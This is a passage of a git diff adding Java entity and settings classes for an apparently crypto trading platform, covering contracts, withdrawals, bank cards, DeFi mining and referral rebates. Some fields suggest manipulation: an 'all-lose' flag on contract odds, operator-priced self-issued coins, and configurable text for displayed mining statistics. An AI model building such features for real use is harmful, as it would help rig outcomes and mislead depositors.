BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 秒合约币种配置id + */ + private Long secondId; + /** + * 时间周期 单位秒 + */ + private Long period; + + /** + * 赔率 + */ + private BigDecimal odds; + /** + * 最大金额 + */ + private BigDecimal maxAmount; + /** + * 最小金额 + */ + private BigDecimal minAmount; + /** + * 1开启 2关闭 + */ + private Long status; + /** + * 全输标识 + */ + private Boolean flag; + /** + * $column.columnComment + */ + private String searchValue; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSpontaneousCoin.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSpontaneousCoin.java new file mode 100644 index 0000000..3cec415 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSpontaneousCoin.java @@ -0,0 +1,60 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 自发币种配置对象 t_spontaneous_coin + * + * @author ruoyi + * @date 2023-10-08 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_spontaneous_coin") +public class TSpontaneousCoin extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键ID + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 币种 + */ + private String coin; + /** + * 图标 + */ + private String logo; + /** + * 参考币种 + */ + private String referCoin; + /** + * 参考币种交易所 + */ + private String referMarket; + /** + * 展示名称 + */ + private String showSymbol; + /** + * 初始价格(单位USDT) + */ + private BigDecimal price; + /** + * 价格百分比 + */ + private BigDecimal proportion; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSymbolManage.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSymbolManage.java new file mode 100644 index 0000000..9c44a52 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSymbolManage.java @@ -0,0 +1,69 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 币种管理对象 t_symbol_manage + * + * @author ruoyi + * @date 2023-07-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_symbol_manage") +public class TSymbolManage extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 币种 + */ + private String symbol; + /** + * 最小兑换数量 + */ + private BigDecimal minChargeNum; + /** + * 最大兑换数量 + */ + private BigDecimal maxChargeNum; + /** + * 手续费(%) + */ + private BigDecimal commission; + /** + * 排序 + */ + private Integer sort; + /** + * 1 启用 2 禁用 + */ + private String enable; + /** + * 0正常 2删除 + */ + @TableLogic + private String delFlag; + + /** + * 图标 + */ + private String logo; + + /** + * 交易所 + */ + private String market; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSymbols.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSymbols.java new file mode 100644 index 0000000..b19cbe3 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSymbols.java @@ -0,0 +1,93 @@ +package com.ruoyi.bussiness.domain; + +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 支持币种对象 t_symbols + * + * @author ruoyi + * @date 2023-06-26 + */ +public class TSymbols extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 币种名称(ID) */ + private String slug; + + /** 币种符号 */ + @Excel(name = "币种符号") + private String symbol; + + /** 币种全称 */ + @Excel(name = "币种全称") + private String fullname; + + /** 图标链接 */ + @Excel(name = "图标链接") + private String logoUrl; + + /** 是否法定货币 */ + @Excel(name = "是否法定货币") + private Boolean fiat; + + public void setSlug(String slug) + { + this.slug = slug; + } + + public String getSlug() + { + return slug; + } + public void setSymbol(String symbol) + { + this.symbol = symbol; + } + + public String getSymbol() + { + return symbol; + } + public void setFullname(String fullname) + { + this.fullname = fullname; + } + + public String getFullname() + { + return fullname; + } + public void setLogoUrl(String logoUrl) + { + this.logoUrl = logoUrl; + } + + public String getLogoUrl() + { + return logoUrl; + } + public void setFiat(Boolean fiat) + { + this.fiat = fiat; + } + + public Boolean getFiat() + { + return fiat; + } + + @Override + public String toString() { + return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) + .append("slug", getSlug()) + .append("symbol", getSymbol()) + .append("fullname", getFullname()) + .append("logoUrl", getLogoUrl()) + .append("fiat", getFiat()) + .toString(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserBank.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserBank.java new file mode 100644 index 0000000..1db5963 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserBank.java @@ -0,0 +1,74 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 银行卡对象 t_user_bank + * + * @author ruoyi + * @date 2023-08-21 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_user_bank") +public class TUserBank extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 姓名 + */ + private String userName; + /** + * 银行卡号 + */ + private String cardNumber; + /** + * 开户银行名称 + */ + private String bankName; + /** + * 开户省市 + */ + private String bankAddress; + /** + * 开户网点 + */ + private String bankBranch; + /** + * 用户名称 + */ + private Long userId; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 银行编码 + */ + private String bankCode; + /** + * 用户地址 + */ + private String userAddress; + + private String adminParentIds; + + /** + * 币种 + */ + private String coin; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserCoin.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserCoin.java new file mode 100644 index 0000000..46a9fec --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserCoin.java @@ -0,0 +1,21 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; + +@Data +@TableName("t_user_coin") +public class TUserCoin { + + @TableId(value = "id",type = IdType.AUTO) + private Long id; + + private Long userId; + + private String coin; + + private String icon; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserSymbolAddress.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserSymbolAddress.java new file mode 100644 index 0000000..db177fa --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserSymbolAddress.java @@ -0,0 +1,42 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 用户币种充值地址对象 t_user_symbol_address + * + * @author ruoyi + * @date 2023-07-12 + */ +@Data +@TableName("t_user_symbol_address") +public class TUserSymbolAddress { + +private static final long serialVersionUID=1L; + + /** + * 主键id + */ + @TableId(value = "id") + private Long id; + /** + * 用户id + */ + private Long userId; + /** + * 币种 + */ + private String symbol; + /** + * 充值地址 + */ + private String address; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TWithdraw.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TWithdraw.java new file mode 100644 index 0000000..af08320 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TWithdraw.java @@ -0,0 +1,189 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.fasterxml.jackson.annotation.JsonProperty; +import com.ruoyi.common.annotation.Excel; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 用户提现对象 t_withdraw + * + * @author ruoyi + * @date 2023-07-04 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_withdraw") +public class TWithdraw extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 卡ID + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 用户 + */ + @Excel(name = "用户Id") + private Long userId; + /** + * 用户名 + */ + @Excel(name = "用户名") + private String username; + + @Excel(name = "用户类型",dictType = "user_type") + @TableField(exist = false) + private Integer isTest; + /** + * 提现地址 + */ + @Excel(name = "提现地址") + private String address; + /** + * 提现金额 + */ + @Excel(name = "提现金额") + private BigDecimal amount; + + @Excel(name = "折合u") + @TableField(exist = false) + private BigDecimal uamount; + /** + * 0审核中1成功2失败3 锁定 + */ + @Excel(name = "折合u",dictType = "withdraw_order_status") + private Integer status; + + /** + * 提现币种类型 + */ + @Excel(name = "提现类型") + private String type; + + /** + * 订单类型 1/null 提现 2=彩金扣减 + */ + @Excel(name = "订单类型",readConverterExp = "null=提现,''=提现,1=提现,2=彩金\"") + private String orderType; + + + /** + * $column.columnComment + */ + private String searchValue; + /** + * 用户名 + */ + private String fromAddr; + /** + * 用户名 + */ + @Excel(name = "币种") + private String coin; + /** + * 手续费 + */ + @Excel(name = "手续费") + private BigDecimal ratio; + + /** + * 订单号 + */ + @Excel(name = "订单号") + private String serialId; + + /** + * 固定手续费 + */ + private BigDecimal fixedFee; + /** + * 手续费 + */ + private BigDecimal fee; + + + + /** + * 用户名 + */ + private String withdrawId; + /** + * Host + */ + private String host; + /** + * 实际金额 + */ + @Excel(name = "实际金额") + private BigDecimal realAmount; + /** + * 收款地址 + */ + private String toAdress; + /** + * 通知字段 0未通知 1通知了 + */ + private Integer noticeFlag; + /** + * 提现说明 + */ + @Excel(name = "提现说明") + private String withDrawRemark; + /** + * 银行名称 + */ + private String bankName; + /** + * 银行收款人名称 + */ + private String bankUserName; + /** + * $column.columnComment + */ + private String bankBranch; + /** + * 代理ID + */ + private String adminParentIds; + /** + * 操作时间 + */ + private Date operateTime; + + /** + * 汇率 + */ + private BigDecimal exchangeRate; + + /** + * 应到账金额 + */ + private BigDecimal receiptAmount; + + /** + * 实际到账金额 + */ + private BigDecimal receiptRealAmount; + /** + * 到账币种 + */ + private String receiptCoin; + + //业务字段 + @TableField(exist = false) + private BigDecimal maxAmount; + @TableField(exist = false) + private BigDecimal minAmount; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/AddressHashDTO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/AddressHashDTO.java new file mode 100644 index 0000000..beb2981 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/AddressHashDTO.java @@ -0,0 +1,36 @@ +package com.ruoyi.bussiness.domain.dto; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.math.BigDecimal; + +/** + * 钱包地址授权详情对象 t_app_address_info + * + * @author ruoyi + * @date 2023-07-15 + */ +@Data +public class AddressHashDTO { + +private static final long serialVersionUID=1L; + + /** + * userId + */ + + private Long userId; + /** + * 地址 + */ + private String address; + /** + * hash + */ + private String hash; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiActivityDTO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiActivityDTO.java new file mode 100644 index 0000000..af2c30c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiActivityDTO.java @@ -0,0 +1,57 @@ +package com.ruoyi.bussiness.domain.dto; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.math.BigDecimal; +import java.util.Date; + +/** + * 空投活动对象 t_defi_activity + * + * @author ruoyi + * @date 2023-08-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_defi_activity") +public class DefiActivityDTO extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 需要金额 + */ + private BigDecimal totleAmount; + + private Long userId; + /** + * 结束时间 + */ + private Date endTime; + /** + * 奖励金额 + */ + private BigDecimal amount; + /** + * 0-usdt 1-eth + */ + private Long type; + + private Integer status; + /** + * $column.columnComment + */ + private String searchValue; + private Long endTimeS; + private Long beginTimeS; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiOrderDTO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiOrderDTO.java new file mode 100644 index 0000000..170bd05 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiOrderDTO.java @@ -0,0 +1,55 @@ +package com.ruoyi.bussiness.domain.dto; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.math.BigDecimal; + +/** + * defi订单对象 t_defi_order + * + * @author ruoyi + * @date 2023-08-18 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_defi_order") +public class DefiOrderDTO extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 收益金额 + */ + private BigDecimal amount; + /** + * 钱包金额 + */ + private BigDecimal totleAmount; + /** + * 收益率 + */ + private BigDecimal rate; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 用户id + */ + private Long userId; + /** + * 代理ids + */ + private String adminParentIds; + private Long createTimes; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiRateDTO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiRateDTO.java new file mode 100644 index 0000000..4cae7a8 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiRateDTO.java @@ -0,0 +1,37 @@ +package com.ruoyi.bussiness.domain.dto; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.common.core.domain.BaseEntity; +import jnr.ffi.annotations.In; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.math.BigDecimal; + +/** + * defi挖矿利率配置对象 t_defi_rate + * + * @author ruoyi + * @date 2023-08-17 + */ +@Data +public class DefiRateDTO { + + private static final long serialVersionUID=1L; + /** + * 顺序 + */ + private Integer sort; + /** + * 金额区间 + */ + private String amountTotle; + /** + * 利率 + */ + private String rate; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/TontractRequstDto.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/TontractRequstDto.java new file mode 100644 index 0000000..dbaf995 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/TontractRequstDto.java @@ -0,0 +1,26 @@ +package com.ruoyi.bussiness.domain.dto; + +import lombok.Data; + +import java.math.BigDecimal; + +/** + * @author:michael + * @createDate: 2023/7/31 14:56 + */ +@Data +public class TontractRequstDto { + + private String symbol; + + private BigDecimal leverage; + + private BigDecimal delegatePrice; + + private BigDecimal delegateTotal; + + private Integer type; + + private Integer delegateType; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/UserInvestmentDto.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/UserInvestmentDto.java new file mode 100644 index 0000000..380c405 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/UserInvestmentDto.java @@ -0,0 +1,29 @@ +package com.ruoyi.bussiness.domain.dto; + +import com.fasterxml.jackson.annotation.JsonFormat; +import lombok.Data; +import org.springframework.format.annotation.DateTimeFormat; + +import java.math.BigDecimal; +import java.util.Date; + +/** + * @author:michael + * @createDate: 2022/8/15 13:43 + */ +@Data +public class UserInvestmentDto { + //地址 + private String address; + //展示收益字段 + private BigDecimal num; + //usdt金额 + private BigDecimal amount; + //每日收益 + private BigDecimal dayRate; + //单次收益 + private BigDecimal singleRate; + //总收益 + private BigDecimal totalProfit; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AddMosaicSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AddMosaicSetting.java new file mode 100644 index 0000000..d309205 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AddMosaicSetting.java @@ -0,0 +1,16 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 底部菜单 + */ +@Data +public class AddMosaicSetting { + private Boolean isOpen; //总开关 + private Boolean sencordIsOpen; //秒合约开关 + private Boolean currencyIsOpen; //币币开关 + private Boolean contractIsOpen; //u本位开关 + private Boolean financialIsOpen; //理财开关 + private Boolean pledgeIsOpen; //质押开关 +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AppSidebarSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AppSidebarSetting.java new file mode 100644 index 0000000..7e034d0 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AppSidebarSetting.java @@ -0,0 +1,53 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +@Data +public class AppSidebarSetting { +// /** +// * 实名认证(初级) +// */ +// private Boolean primary; +// /** +// * 实名认证(高级) +// */ +// private Boolean advanced; +// /** +// * 绑定银行卡 +// */ +// private Boolean bank; +// /** +// * 设置资金密码 +// */ +// private Boolean tardPwd; +// /** +// * 设置登陆密码 +// */ +// private Boolean loginPwd; +// /** +// * 邮箱认证 +// */ +// private Boolean certified; +// /** +// * 服务条款 +// */ +// private Boolean termsService; +// /** +// * 白皮书 +// */ +// private Boolean paper; +// /** +// * 语言 +// */ +// private Boolean language; + + private String key; + private String name; //名称 + private String jumpUrl; //跳转地址 + private String jumpType; //跳转类型 + private Integer sort; //顺序 + private Boolean isOpen; //开关 + private String logoUrl; //图标 + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AssetCoinSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AssetCoinSetting.java new file mode 100644 index 0000000..5a19099 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AssetCoinSetting.java @@ -0,0 +1,36 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +import java.math.BigDecimal; + +/** + * 充值通道配置 + */ +@Data +public class AssetCoinSetting { + /** + * 币种名称 + */ + private String coinName; + /** + * 币种类型 + */ + private String coin; + /** + * U-ERC充值地址 + */ + private String coinAddress; + /** + * 充值次数 + */ + private Integer rechargeNum; + /** + * 充值最大额度 + */ + private BigDecimal rechargeMax; + /** + * 充值最小额度 + */ + private BigDecimal rechargeMin; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AuthLimitSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AuthLimitSetting.java new file mode 100644 index 0000000..f98a957 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AuthLimitSetting.java @@ -0,0 +1,26 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class AuthLimitSetting { + /** + * 初级限额 + */ + private BigDecimal primaryLimit; + /** + * 初级限额 开启 + */ + private Boolean isOpenPrimary; + /** + * 高级限额 + */ + private BigDecimal seniorLimit; + + /** + * 高级限额 开启 + */ + private Boolean isOpenSenior; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/BaseSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/BaseSetting.java new file mode 100644 index 0000000..d0f6ba1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/BaseSetting.java @@ -0,0 +1,10 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 系统基本配置 + */ +@Data +public class BaseSetting { +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/BottomMenuSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/BottomMenuSetting.java new file mode 100644 index 0000000..e46ee10 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/BottomMenuSetting.java @@ -0,0 +1,17 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 底部菜单 + */ +@Data +public class BottomMenuSetting { + private String name;//名称 + private String key; + private String imgUrl;//图标 + private String checkedImgUrl;//选中图标 + private String linkUrl;//选中图标 + private Integer sort; //顺序 + private Boolean isOpen; //开关 +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/DefiIncomeSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/DefiIncomeSetting.java new file mode 100644 index 0000000..ec5327b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/DefiIncomeSetting.java @@ -0,0 +1,14 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * defi挖矿收益 + */ +@Data +public class DefiIncomeSetting { + private String totalOutput;//总产出 + private String userBenefits;//用户收益 + private String participant;//参与者 + private String validNode;//有效节点 +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/DownloadSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/DownloadSetting.java new file mode 100644 index 0000000..69faa38 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/DownloadSetting.java @@ -0,0 +1,12 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +@Data +public class DownloadSetting { + private String name; + private String url; + private String sort; + private String isOpen; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/EmailSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/EmailSetting.java new file mode 100644 index 0000000..d2680df --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/EmailSetting.java @@ -0,0 +1,17 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 邮箱配置 + */ +@Data +public class EmailSetting { + + private String mailTemplate; + private String mailAppName; + private String mailUsername; + private String mailPassword; + private String mailHost; + private String mailPort; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/FinancialRebateSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/FinancialRebateSetting.java new file mode 100644 index 0000000..0003853 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/FinancialRebateSetting.java @@ -0,0 +1,26 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class FinancialRebateSetting { + + /** + * 开关 + */ + private Boolean isOpen; + /** + * 一级返佣比例 + */ + private BigDecimal oneRatio; + /** + * 二级返佣比例 + */ + private BigDecimal twoRatio; + /** + * 三级返佣比例 + */ + private BigDecimal threeRatio; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/FinancialSettlementSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/FinancialSettlementSetting.java new file mode 100644 index 0000000..b1e2488 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/FinancialSettlementSetting.java @@ -0,0 +1,20 @@ +package com.ruoyi.bussiness.domain.setting; + + +import lombok.Data; + +/** + * 理财结算实体 + */ +@Data +public class FinancialSettlementSetting { + + /** + * 结算类型 1 指定天数 2 每日 3 产品到期结算 + */ + private Integer settlementType; + /** + * 结算日期 1-31 + */ + private Integer settlementDay; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/HomeCoinSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/HomeCoinSetting.java new file mode 100644 index 0000000..5b1c5e6 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/HomeCoinSetting.java @@ -0,0 +1,14 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 首页币种配置 + */ +@Data +public class HomeCoinSetting { + + private String isOpen; //开关 + private String coin; //币种 + private String sort; //排序 +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LoadSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LoadSetting.java new file mode 100644 index 0000000..801d6a4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LoadSetting.java @@ -0,0 +1,13 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class LoadSetting { + /** + * 贷款逾期利率 + */ + private BigDecimal overdueRate; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LoginRegisSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LoginRegisSetting.java new file mode 100644 index 0000000..47e912f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LoginRegisSetting.java @@ -0,0 +1,19 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +@Data +public class LoginRegisSetting { + + + //邮箱 + private boolean emailIsOpen; + //手机注册 + private boolean phoneIsOpen; + //普通 + private boolean ordinaryIsOpen; + //地址 + private boolean addressIsOpen; + //信用分 + private Integer credits=100; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LogoSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LogoSetting.java new file mode 100644 index 0000000..fd93d90 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LogoSetting.java @@ -0,0 +1,15 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * logo配置 + */ +@Data +public class LogoSetting { + private String logo; + private String logoA; + private String logoB; + private String logoC; + private String logoD; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MarketUrlSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MarketUrlSetting.java new file mode 100644 index 0000000..26e2b8f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MarketUrlSetting.java @@ -0,0 +1,22 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +@Data +public class MarketUrlSetting { + + /** + * 谷歌验证码 + */ + private Boolean url; + + /** + * 运营端验证码 + */ + private Boolean adminCode; + + /** + * H5验证码 + */ + private Boolean h5Code; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MiddleMenuSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MiddleMenuSetting.java new file mode 100644 index 0000000..211daff --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MiddleMenuSetting.java @@ -0,0 +1,17 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 金刚区 + */ +@Data +public class MiddleMenuSetting { + + private String name; //名字 + private String key; + private String imgUrl; //图标 + private String linkUrl; //跳转地址 + private Integer sort; //顺序 + private Boolean isOpen; //开关 +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MingSettlementSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MingSettlementSetting.java new file mode 100644 index 0000000..63e1080 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MingSettlementSetting.java @@ -0,0 +1,20 @@ +package com.ruoyi.bussiness.domain.setting; + + +import lombok.Data; + +/** + * 挖矿实体 + */ +@Data +public class MingSettlementSetting { + + /** + * 结算类型 1 每日返息 2 到期一起返本金加利息 + */ + private Integer settlementType; + /** + * 结算日期 1-31 + */ + private Integer settlementDay; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/OssSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/OssSetting.java new file mode 100644 index 0000000..003c7c6 --- /dev/null +++ 